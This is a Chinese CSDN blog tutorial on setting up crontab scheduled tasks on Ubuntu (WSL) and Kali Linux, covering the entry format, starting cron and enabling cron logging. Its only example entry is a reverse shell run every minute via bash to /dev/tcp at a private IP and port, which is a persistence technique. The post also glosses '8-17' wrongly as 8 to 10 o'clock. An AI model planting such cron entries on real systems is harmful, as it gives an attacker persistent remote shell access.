周期性计划crontab

本文介绍了如何在Ubuntu和Kali Linux环境中使用crontab进行周期性计划任务的设置。内容包括启动cron服务、配置crontab日志、理解crontab文件格式,以及创建和管理用户计划任务。同时,还提到了syslog日志在crontab中的应用和一个反弹shell的示例。
摘要由CSDN通过智能技术生成

crontab 周期性计划任务

环境
WSL_Ubuntu-20.04
kali

简介
通过编写指定格式的计划任务文件,定时循环执行相关任务命令。

文件格式

```
# 6个字段 分 时 日 月 周 命令
# 前五个字段指定运行时间周期
# 最后是执行什么命令

# 特殊符号
# * : 代表任意
# / : 指定间隔频率,在第一个字段为 */10 表示每隔10分钟
# - : 代表从一个区间,第二个字段为 8-17 表示从8点到10点
# , : 分隔, 如第二个字段为 6,10,13 表示 6点,10点,13点

# 示例
SHELL=/bin/bash


* * * * * bash -i >& /dev/tcp/192.168.12.149/4444 0>&1

```

启动cron服务
命令:sudo service cron start

配置crontab日志
文件路径:/etc/rsyslog.d/50-default.conf
将文件中#cron*前的注释去掉(修改后需要重启cron服务)

开启syslog日志服务
命令:sudo service rsyslog start

crontab 文件

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值